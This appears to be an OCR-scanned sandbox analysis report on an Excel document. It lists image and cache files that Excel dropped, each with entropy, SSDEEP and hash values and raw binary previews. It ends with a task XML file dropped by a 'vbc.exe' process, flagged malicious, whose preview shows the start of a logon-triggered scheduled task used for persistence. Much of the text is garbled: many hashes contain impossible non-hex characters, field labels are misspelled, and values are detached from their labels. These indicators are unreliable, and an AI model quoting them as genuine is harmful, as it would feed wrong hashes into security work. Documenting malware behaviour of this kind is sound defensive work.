https://view.joesandbox.com/analysis/28086/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/28086/html/none?idtype=webid
https://www.metadefender.com/#!/results/file/YnpFNU1UQXpNVWd4YmxFMlkyZFBOVWdISk1pcGlndXFT/regular/analysis
https://view.joesandbox.com/analysis/111442/html/none
https://view.joesandbox.com/analysis/28086/html/none

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\27A56AD2.png

SHA-512:
Malicious:
Reputation:

Preview:

F2431F3345AAB82CFCE2F96E1D54E53539964726F2E0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5EGDGA

false

moderate, very likely benign file

e ST {..m.m...4..h..B.d...%x.?. {w.$#.Aff..2W......... S o (O
Rttt X Coo b0Vt L2 @GGG?@GGG./...uK.WnM'
Z.DGGGGGGGGG.AGGGGGGGG.Y.....#~.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\29AF82FC.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 550x310, frames 3
dropped

29499

7.667442162526095

false
384:ac8UyN1qqyn7FdNfzZY3AJONcoEwa4OXyTgEunn9k+MPIEWsKHBmM8oguHh9kt98g:p8wn7TNfzZONchwR6EkvKPsPWghY6g
4FBDDF16124B6C9368537DF70A238C14

45E34D715128C6954F589910E6D0429370D3E01A
0668A8E7DA394FE73B994AD85F6CA782F6C09BFF2F35581854C2408CF3909D86
EA17593F175D49792629EC35320AD21D5707CB4CFIE3A7B5DA362FC86AF207F0C14059B51233C3E371F2B7830EAD693B604264CA50968891B420FEA2FC4B29E(C
false

moderate, very likely benign file

2...#B..R..$3br
.ag."2...B....#3R..br..$4.%
.g.<.].c...G...Z}.=yl

9b.X..V.%i.Q....%h.V.E...X..V..Q..GQRR?A

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\365FCBB?7.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e7li2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BESSI
OE

false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\4132FFE5.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

1316

3.0840340624796188

false

24:YWLj/Bu99sA0D4U799D1slyVk3/wKivaHRS2:hLbVelTmak2
BE9229401B6EC704E0AFFO08FF066918
5408CAA831484E21A7B4A56317D5DF8566D0222D
2CE1B2D517721F60C9086DEEBB9093BDA2BDABB66F34D20DC3270C91D439711A
09C0C8779AEB6C9121D4A4CEF8330051A178FB656DB162238CE9776B908087A00F08B2781491C45E0C3256ABOEE32594D93A37361EFA3FOE6F481148600BOEEB

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\4132FFE5.emf

Preview:
04 F o ERN | IO
..Labell

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5394A5DD.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 199 x 126, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 4740

Entropy (8bit): 7.917839815538774

Encrypted: false

SSDEEP: 96:0Anlkq3L3I05ZEpmgsv0Q3UtPWkCYHMYPhcky7JcO7dY/:0Anz15ghsrUtPwYHtPhOZ7dY/

MDS5: 493B0785A76407BFBD3983964D9EA288

SHA1L: D4F7298439073EA125F7EE9C415091EF8C71FEOL

SHA-256: CDAD5DACB34C7C421ADE9645520051A1620E32DBB41990CF05C3D6BABCIBCLED

SHA-512: A343C143BFCC69B5AEEF78DEES67F80769541861310D7A3F4985AADE428F3D47B29228857A1A0FFC7F54E4E88699014253DCD06554ABE5S86953750685F37A550

Malicious: false

Preview:
PNG........ IHDR....... e gAMA.....a.... cCHRM..z&.............. u0...". P Q<..pHYs.L. L. IDATX .1 BW.._..~..|.cc.... P #..M ).-RBER.%j4......}.N......
46z..H...1.d.*.20U..u...F..../....H....... /4..Q".) ... T-v). A dbe s Loxe T Faml PBLX<UNLL9%. g\ -~ %] .Qu. 20 P pawene 2. %] 2.\ LR L 4
6%..2."..f..U.X..*.MaO .0.:.Vo.z..&.D<....0. bood] LT ..*.0q..F..6.W.D.R..+...0.V.....7..}..?P....P4... BWrLJ.RILLH..d.= V.M..)..U.V.

.T.m..0.).;=T.7;X..s....|.Nx z....%....Yn..Ff.n..Q.
Kol Lo X |6 #8=<...[.HAX...l.n .B.b.*.0.Z.3(........S..2.XC...T.5jk 2....[B..8-3..%+_n..,$2...G.T.1G..G.0...0......p$..... F.

Jds.Fix<....hy.mv{..O..Zhw.W*X.....U....Z.2[K.R.p4....;.L$S..| ..GS.f...|.....|2.M.2.z.=[0a).k.F;_.E..I7Z..Ko(.....t..H*

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5A7818AB.jpeg

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3

Category: dropped

Size (bytes): 14198

Entropy (8bit): 7.916688725116637

Encrypted: false

SSDEEP: 384:IboF1PuTfwKCNtwsU9SjUB7ShYIv7JIrEHaeH]7KHG81l:lboFgwK+wD9SA7ShX7JrEL7TKHG8S

MDS5: E8FC908D33C78AAAD1DO6E865FCIFIBO

SHA1L: 72CA86D260330FC32246D28349C07933E427065D

SHA-256: 7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5DO

SHA-512: A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17

Malicious: false

Preview:
... JFIF 1) & " #11&)+... "383-7(-.- rme e 0-------- e e
.1A"Q.aq..2B..#R..3b...$r..C......4DSTcs.... LQALLLLL2L QG2 .m.DL . . ..
(.YX.St.@r..ca...[5.2...5..%..R.A6T......... {..X.;...4.D.0".R...sV8...rdJm....2Est-....... U.@......|j.4.mn..Ke!G.6*PJ.S>..0....g%..... ..... @..T.P<.gz.e..(H+ .@$%....2.h
P.]...ZP.H..I?s2l.$.N..?xP..c..@...A..D.l.....1..[q*[5(-J..@...$.N...x.U.fHYLPM..[P.....aY....S.R....Y..(D.|..10........... .. l.|F..E9*..RU..P...p$.".....2.5.-...a&.@..P....m....

cLaH;DV)...@u...5.,.h..6.Y,...D.7.....UHe.5.PQ.YM...)..(y.6.U..i V. "2"....&.... .8 +]K)R..\'A...I..B..2[..L(c3J..%..$.3..E0@...."5...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\5DF1CC3E.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 199 x 126, 8-bit/color RGB, non-interlaced
Category: dropped
Size (bytes): 4740
Entropy (8bit): 7.917839815538774
Encrypted: false
SSDEEP: 96:0ANnlkq3L3I05ZEpmgsv0Q3UtPWkCYHMYPhcky7JcO7dY/:0Anz15ghsrUtPwYHtPhOZ7dY/
MDS5: 493B0785A76407BFBD3983964D9EA288
SHA1L: D4F7298439073EA125F7EE9C415091EF8C71FEOL
SHA-256: CDAD5DACB34C7C421ADE9645520051A1620E32DBB41990CF05C3D6BABCIBCLED
SHA-512: A343C143BFCC69B5AEEF78DEES67F80769541861310D7A3F4985AADE428F3D47B29228857A1A0FFC7F54E4E88699014253DCD06554ABES86953750685F37A550
Malicious: false
Preview:
k ....d.... CHRM..Z&.... LU0 IDATXALEBW.. o~ P..#..M).-R6ER.%j4
.46z..H....1.d.*..20U..u...F. J4..Q".) . T-v).. ). db L Lx. T qfj..\./-*..]..Q..2..;..{p..q..p.w.

6%..2."..f.U.X..*.MaO.....))...0..Vo.z..&D<....0...".. }...i...|..b1.T.t:....G.~.".*.0q..F..6.W.D.R.+..0.V.....7.. }..2P..P4.......... M 6W*.J.R.L.H...d..= V.M...)..U.V....".hO.
Jds.Fix<....hy.mv{..O..Zhw.)W*X.....U....Z. 2[K.R.p4....;.L$S..| ..GS.f...|.....|2.M.2.z.=[0a).k.F;_.E..17Z..Ko(....t.H* _.T.m..0.).;=T.7;X..s....[Nx z....$....Yn.Ff.n..Q.
Xolnse Lo X6 . #8=<....[.HAX.".L.Ln .B.b.*.0.Z.3(........ S..2.Xc...T.5jk 2.....[B..8-3..*+_n..,S2...G.T.tG..G.O...0......p$..... .F.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\69EC2A79.png
Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
File Type: PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\69EC2A79.png

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

dropped

79394

7.864111100215953

false

1536:ACLfq2zNFewyOGGG0QZ+6G0GGGLVjpP70GGGeLENf85dUGKkmMBCOLZgf3BNUAQ:7PzbewyOGGGV+6G0GGG7jpP7O0GGGeLEe
16925690E9B366EA60B610F517789AF1

9F3FE15AE44644F9ED8C2CA668B7020DF726426B

C3D7308B11E8C1EFDICOA7F6EC370A13EC2C87123811865ED372435784579C1F
AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBDIF5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CD

false

L X>0.95..0]S. W
LTVl Gz
LIy~ .Gr). #.>Z...6...
e TS C T I

..9D.JWIW..RK....
....z0O.C..N.vO.%

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\98FE530E.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 333x151, frames 3
dropped

14198

7.916688725116637

false

384:IboF1PuTfWKCNtwsU9SjUB7ShYIv7IrEHaeH]7KHG81I:IboFgwK+wD9SA7ShX7JrEL7KHG8S
E8FC908D33C78AAAD1DO6E865FCIFIBO

72CA86D260330FC32246D28349C07933E427065D
7BB11564F3C6C559B3AC8ADE3ESFCALD51F5451AFF5C522D70C3BACECOBBB5DO
A005677A2958E533A51A95465308F94BE173F93264A2A3DB58683346CA97E04F14567D53D0066C1EAA33708579CD48B8CD3F02E1C54F126B7F3C4E64AC196E17

false

(.YX.St.@r..ca...[5.2..%..%..R.ABT......... {..X..4 @..T.P<.gze..(H+ .@$%....7.h
P...ZP.H.I1252.$.N..?XP..c...@....A. D.l..... 1..[*[5(-J..@...$..N... x.U.fHYL.PM..[P......aY....S.R....Y...(D.|..10...occc. .. I.|F..[E9*...RU..P..p$."....2.5.....a&.@..P....m....
.....L.aH;Dv)...@u...s.,.h..6..Y,...D.7.... .UHe.s.PQ.YM....)..(y.6.U..i.*V.2"...&.... "..8.4]K)R..\'A...I1..B..?[..L(c3J..%..$.3..E0@...."Sf]...

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\9EE93CA2.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

1824

3.1396658634113037

false
24:YF09+01U07v3dLcFTUDb2lyzj5s9SKiDHaXRmf/RQfwWRSER8vdR+R/Ro8w:40j3dLcFTviw5sZiaQm
8DB7C9EB4234BEF9BBB39F602BCEB824

E98F58B395663F25D6220D7C033B6D15C53CECEC
04213745DB3ED0O0DB4562DC0D889428588FC147E536078741C98AC5578ECE6D4

5FC135D32B3E75872E8254B5ED8C5648B052AB5C1466AEAE7BA3C653BEB236FDC48F68A3D3378138C8009F59E561D09A7A22E708DBD5F9846061FBADG7F082F
E

false

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A4A722F1.png

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 110 x 167, 8-bit/color RGBA, non-interlaced

dropped

12102

7.961820953240898

false
192:mCDzUPwWtX3W0bXeFgeK+HsT/MtGLWIoo5LKApRCRhZW3Fg8wW5eRidb/iAIBNXbs:mC3U45FXcgetMTi633h3FVz5eR0ObiAcu
1C539D78D01284594C999E790447F6FB

582531AE27BDD6E091043EF4F38ECBEFOAGFB2F1
62583DB38588AC74F6EC4D8FDCC94780C0206F21BE3ASCFI0AC2E212EBC3FAFS
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A4A722F1.png

SHA-512:

Malicious:

Preview:

132F227B9762B2AAD02327DDBC61B1F6786BBA03FFC233FFF223D41E3E09534DC4E98EFC5C064F26169D4C1C998999B2E888D685CEECOASB6013E39F1FEBS2E

...... Lo IDATXMLUELP....LTI).00...T@....D.....,N@P,..P....... 7 f..s

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\AB377A3A.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302l/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZul1)
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBID5ED8DAI3C223F265C179CFADAGO9AG4

false

.......... +..... IDATXN=V\9..H.f....ZA.., " j.r4.........SEJ,%..VPG. K.=....@.$0l.e7...U
0...0.6..S...'"n..H.hS......y;.N.L)."[ ".f.X.u.n.;.
q..]..=|K..w..}O. {|...G. .03.....Z....m6...sN.0.
}....3%..[j.....b.r7.0lF...c $...)....[0.CK...._......Nv...q.t3l.,. ...vD.-.0. kw....X...-

(W."...Sit....m.. .+ K...<.M=..IN.U..C..].5.=...5..9.d..f.<Km..$..fS...0.....}@...;k.m.L./.$
C..KGld.8.a}|..,.....,....q.=r..PLVH#...n. }....... [w...N.b.W......;..2.0q.K{>.K....{w{....... 6Y...,.}.E..X.1.-Y].JImj..pq|.0...e.v.....17....F

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\B9A26101.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 1268 x 540, 8-bit/color RGBA, non-interlaced

dropped

51166

7.767050944061069

false
1536:zdKgAWKOL5H8LILtoEdJ90ShB7IaAvRXDIBig49A:JDAQIH8/GMSdhahg49A
8C29CF033A1357A8DE6BF1FC4D0B2354
85B228BBCB0DC60D40F4D3473E10B742E7B9039E
E7B744F45621B40AC44F270A9D714312170762CA4A7DAF2BA78D5071300EF454
F2431F3345AAB82CFCE2F96E1D54E53539964726F2EO0DBC1724A836AD6281493291156AAD7CA263B829E4A1210A118E6FA791F198B869B4741CB47047A5E6D6A

false

z{.
o dttt2.s. .U
................ e Zei NN _tHHHE X .. C.0.{.O.Y1

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\BC2E50F3.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, resolution (DPI), density 220x220, segment length 16, baseline, precision 8, 550x310, frames 3
dropped

29499

7.667442162526095

false
384:ac8UyN1qqyn7FdNfzZY3AJONcoEwa4OXyTgEunn9k+MPIEWsKHBmM8oguHh9kt98g:p8wn7TNfzZONchwR6EkvKPsPWghY6g
4FBDDF16124B6C9368537DF70A238C14

45E34D715128C6954F589910E6D0429370D3E01A
0668A8E7DA394FE73B994AD85F6CA782F6C09BFF2F35581854C2408CF3909D86
EA17593F175D49792629EC35320AD21D5707CB4CFIE3A7B5DA362FC86AF207F0C14059B51233C3E371F2B7830EAD693B604264CA50968891B420FEA2FC4B29E(C

false

11A..Qa."q.
2. #B..R.$3br....... w.....11.AQ
.ag."2...B.... #3R..br..$4.% .2..0.F..GEH.[.. .....Z]K?B.]..A.

.N)." $e.a....-...B{\f...).%a.J..>.
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C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D2E7424C.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 110 x 167, 8-bit/color RGBA, non-interlaced

dropped

12102

7.961820953240898

false
192:mCDzUPwWtX3W0bXeFgeK+HsT/MtGLWIoo5LKApRCRhZW3Fg8wW5eRidb/iAIBNXbs:mC3U45FXcgetMTi633h3FVz5eR0ObiAcu
1C539D78D01284594C999E790447F6FB

582531AE27BDD6E091043EF4F38ECBEFOAGFB2F1
62583DB38588AC74F6EC4D8FDCC94780C0206F21BE3ASCFI0AC2E212EBC3FAFS

132F227B9762B2AAD02327DDBC61B1F6786BBA03FFC233FFF223D41E3E09534DC4E98EFC5C064F26169D4C1C998999B2E888D685CEECOASB6013E39F1FEBS2E
7

false

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D3B54A74.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

3199944

1.0723286533222698

false

6144:5FPAUlU4U9tVVIIHGCOd7FPAUIU4UStVVIIHGCOd2:5mIvhGJd7mivhGJd2
6CFA3170A68147326768DE26F5E88F3C
5ABCF9E540CFE7E9F1BB50F43FB139722402D141
5EC13FDB116FAD2A722159AC55F98A857E0925759BCAEB75AC83FCCBF7C3E8C2
5796C7D980E914485DD390F5EE14196EE89CCD7F6F237D4CA7AAB8ECI158196E85FD7D5AC2990D9BA3DCCC55F63A8598F47B13020331F54134E931EF018C2A¢E

false

R H. EMF....0...l Vol fz..U"..F..ti..hi..GDIC........ z.@m....Pi......... Ao 4A [T
OSSR

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D6B60ECD.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

[TIFF image data, big-endian, direntries=4], baseline, precision 8, 396x275, frames 3
dropped

24075

6.730214296651396

false

384:0Kr6BE4AbXWRwgWHxVQ9T31pQO9v8IgLvt:oKcEIRWfQIT3cWiB
09AFF1FCEO5F6A872A9F9A75B7CB45F5
5E8004FDCA739142B1AB20AD6BF773DEBC7B32FD
00B28A518ACB867ABB2F0447DCEB07BD6E47005A1C608ACCF49A4EA3D96112F8
355D944292FDCEC869EE28098B6CDF155EE7E697B3651F40538C34B68086DB370FF1D2B6C7306D71E4203734C73796EC6CIEEOC1F539E4F8F653575EE0FD66D!

false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DAA062B0.jpeg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 191x263, frames 3
dropped

8815

7.944898651451431

false

192:Qjnr2118e71i2YRD5x5dlyuaQ0ugZIBn+002yHQGYtPto:QZI8e7li2YdRyuZ0b+JGgtPW
F06432656347B7042C803FE58F4043E1

4BD52B10B24EADECA4B227969170C1D06626A639
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C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DAA062B0.jpeg

SHA-256:
SHA-512:

Malicious:

Preview:

409F06FC20F252C724072A88626CB29F299167EAE6655D81DF8E9084E62D6CF6

358FEB8CBFFBE6329F31959F0F03C079CF95B494D3C76CF3669D28CA8CDB42B04307AE46CED1FC0605DEF31D9839A0283B43AA5D409ADC283A1CAD787BESSI
OE

false

.d.@..&3)}d@@7.q...t..3!.... .9.r. s
$e&........ z..[..3.+~..a.u9d.&9K.xkX' Yol MxPu..b..:0e:.R.#....... U...E..4Pd/..0.".4 .. A.. t...2...gb))b.."&..y1.......... .s>.ZA?.
.1.b.0U...5.0i\.LH1.f.. sl f.3?...bu.P4>_+.B...eL...R.,..<..3.00$,=.K.l..Z.... O.l.z...am....C.k..iZ ...<ds....f8f..R....K

.. zM..L.n6.Am.1m....0..[.~y....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\E3296E6A.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 1686 x 725, 8-bit/color RGBA, non-interlaced

dropped

79394

7.864111100215953

false
1536:ACLfq2zNFewyOGGG0QZ+6GOGGGLVjpP7O0GGGeLENf85dUGKkmMBCOLZgf3BNUAQ:7PzbewyOGGGV+6G0GGG7jpP70GGGeLEe
16925690E9B366EAG0B610F517789AF1

9F3FE15AE44644F9ED8C2CA668B7020DF726426B
C3D7308B11E8C1EFDICOA7F6EC370A13EC2C87123811865ED372435784579C1F
AEF16EA5F33602233D60F6B6861980488FD252F14DCAE10A9A328338A6890B081D59DCBDIF5B68E93D394DEF2E71AD06937CE2711290E7DD410451A3B1E54CD

false

.PNG........IHDR. K..E...):#.1k.$0.....a.-[..S.M*A..Bc..i+..e..u['R.., (.b..IT.0X .}...(..@...F>...v....s.0.
L. X>0.9s..q)s.. . 3 . . >rv~.G.*). #>z._.. .| #.fF.2.G....z0.C....... z0.%......"....S..y...S.y...S.J_..qr...l}].._
LTVl GRSz .

LIy~ .Gr). #.>2..6 =.5C....4[...%uw.......M.r.M.k::N.g4[<..0. k...G...... XE=..b$.G.,.K..H'_nj.kd_..qr....
Be_crv=lGr) L #E> LR _.GLY >0 (L L)S [ =h>0U L mks/ L x L X e P $.Fo > {.Qb......

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EA55EE58.jpeg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

[TIFF image data, big-endian, direntries=4], baseline, precision 8, 396x275, frames 3
dropped

24075

6.730214296651396

false

384:0Kr6BE4AbXWRwgWHxVQ9T31pQO9v8IgLvt:oKcEIRWfQIT3cWiB
09AFF1FCEO5F6A872A9F9A75B7CB45F5
5E8004FDCA739142B1AB20AD6BF773DEBC7B32FD
00B28A518ACB867ABB2F0447DCEB07BD6E47005A1C608ACCF49A4EA3D96112F8
355D944292FDCEC869EE28098B6CDF155EE7E697B3651F40538C34B68086DB370FF1D2B6C7306D71E4203734C73796EC6CIEEOCLF539E4F8F653575EE0FD66D!

false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\EB61327.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 566 x 429, 8-bit/color RGBA, non-interlaced

dropped

84203

7.979766688932294

false
1536:RrpoeM3WUHO25A8HD3S04IL9jvt06302l/Wr9nuQvs+9QvM4PmgZuVHdJI5v3ZK7+:H5YHOhwx4IRTtO6349uQvXJ4PmgZul1d
208FD40D2F72D9AED77A86A44782E9E2

216B99E777ED782BDC3BFD1075DB90DFDDABD20F
CBFDB963E074C150190C93796163F3889165BF4471CA77C39E756CF3F6F703FF
7BCE8OFFA8B0707E4598639023876286B6371AE465A9365FA21D2C01405AB090517C448514880713CA22875013074DBI9D5ED8DAI3C223F265C179CFADAGO9AG4

false

PNG........ IHDR...6........... >(....sRGB......... gAMA......a....pHYs......... +.. W ADATXN =9 HLfLZAL b SEJ,%..VPG..K.=...@.$0l.e7...U...... ... >N~&..._..._.Ig...
.L..D.G!0..G};...2...00.7....Cc...G....g>......_O..._._.}g..k..ru..T....S..~.@Y96.S....&.1......0...0.6..S..'n..H.hS.....y; h.(ul0a....].R.z...2......GJY
N\..+b..{>vU. .._V.-z.s.U.cR.g".X......6Nn...6....06.- AM.f.=y ..7..;X...q..|..=|K..w..}O. {]...G. . .
(W..St...m..+K.<.M=.INU..C.].5.=.s..g.d.f.<Km..$..fS...0...}@....k.m.L/S...... }....3%..|j....b.r7.0IF...c".....$...)....|[0.CK...._.....Nv...q.t3l,. ...vD.-.o.kw....X...-
C..KGld.8.a}|..,.....,....q.=r.PLV#...n. }....... [w...N.b.W......;..2.0q.K{>.K....{w{....... 6Y...,.}.E..X.1.-Y].JImj..pq|.0...e.v.....17....F
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C:\Users\luser\AppData\Local\Temp\Excel8.0lMSForms.exd

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 241332

Entropy (8bit): 4.206799394485336

Encrypted: false

SSDEEP: 1536:cGXLEQNSKk8SCtKBX0Gpb2vxKHNVMOKOXOMRO/NIAIQK7ViIKAJYSAOppDCLTIMRsi:cQNNSk8DtKBrpb2vxrOpprf/nVq

MD5: 61C1A28D8DFABADED0972823C013568D

SHAL: E54C18B1ED224D94A0018B039684A9EA081DBD91

SHA-256: 1E8D51AEC5450C96509DEC0394F473BEOB1A7442B8132E3C864D64AEA8151237

SHA-512: 1A94FB4F918F4B77DC513ED4138F3DDF342AB8766AA4319EE3A586112C66BBCCFCAB11536F9E33D8C7195487BA29EC57C1E3967BB6FD534B150E4E132412B5E
8

Malicious: false

Preview:

LHLHLH.TSS$..%...%...%. H&..
.0..p0...0..81...1...2..d2...2..,3...3...3..X4...4..5..5..5.16..6..7.x7..7.@8....... 8.....

Process: C:\Users\Public\vbc.exe

File Type: XML 1.0 document, ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 1621

Entropy (8bit): 5.142576854240234

Encrypted: false

SSDEEP: 24:2dH4+SEqCZ7CINMFi/fIMhEMjnGpwjplgUYODOLDIRJIh7h8gKBEtn:cbhZ7CINQi/rydbz913YODOLNdg30
MDS5: 4D474995C554718DFBC52E008342BB25

SHAL: 81201E86AE8C1E271015593C11132CE6DC4CC602

SHA-256: BCAC1EF2C39F4D17E9325D7553E6889AA83A52F5D476A8C22B2823C1D4D2932B

SHA-512: 75B76D90FD968A39BDOAIF21EOF4C6CE004F55C5915BA5BFIA9BA3279C87AA0ABE606EBBD8054CESE76601773294075A909F4D309D1C27C66AEB575EDC44328
Malicious: true

Preview:

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>user-PCluser</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..

